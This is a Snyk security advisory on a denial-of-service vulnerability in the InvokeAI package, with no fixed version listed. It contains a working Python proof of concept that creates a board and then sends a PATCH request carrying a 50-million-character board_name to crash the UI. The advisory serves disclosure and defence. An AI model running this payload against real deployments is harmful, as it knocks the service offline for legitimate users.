Denial of Service (DoS) Affecting invokeai package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-INVOKEAI-9671883
  • published8 Apr 2025
  • disclosed20 Mar 2025
  • creditM Nadeem Qazi

Introduced: 20 Mar 2025

NewCVE-2024-11043  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

There is no fixed version for InvokeAI.

Overview

InvokeAI is an An implementation of Stable Diffusion which provides various new features and options to aid the image generation process

Affected versions of this package are vulnerable to Denial of Service (DoS) through the board_name field during a PATCH request to the /api/v1/boards/{board_id} endpoint. An attacker can cause the UI to become unresponsive, preventing users from interacting with or managing the affected board by sending an excessively large payload.

PoC

import requests
import json

# Define the base URL
base_url = "http://127.0.0.1:9090/api/v1/boards/"

# Create a new board (POST request)
post_url = base_url + "?board_name=test&is_private=false"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json",
    "Accept-Language": "en-US,en;q=0.5",
    "Referer": "http://127.0.0.1:9090/docs",
    "Origin": "http://127.0.0.1:9090",
    "Connection": "keep-alive",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
}

# Send the POST request to create the board without a proxy
response = requests.post(post_url, headers=headers)

# Check if the board was successfully created (HTTP 201)
if response.status_code == 201:
    # Extract the board_id from the response
    response_data = response.json()
    board_id = response_data.get("board_id")
    print(f"Board created successfully with board_id: {board_id}")

    # Create a massive board_name to trigger the DoS
    large_board_name = "A" * 50000000  # Millions of 'A' characters
    
    # Prepare the PATCH request with the large board_name
    patch_url = base_url + board_id
    patch_data = {
        "board_name": large_board_name,
    }
    patch_headers = headers.copy()
    patch_headers.update({
        "Content-Type": "application/json",
    })

    # Send the PATCH request without a proxy
    patch_response = requests.patch(patch_url, headers=patch_headers, data=json.dumps(patch_data))

    # Check if the PATCH request was successful
    if patch_response.status_code == 201:
        print(f"PATCH request with large payload succeeded (DoS should have occurred).")
    else:
        print(f"Failed to archive the board. Status code: {patch_response.status_code}")
else:
    print(f"Failed to create the board. Status code: {response.status_code}")

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

References

CVSS Base Scores

version 4.0
version 3.1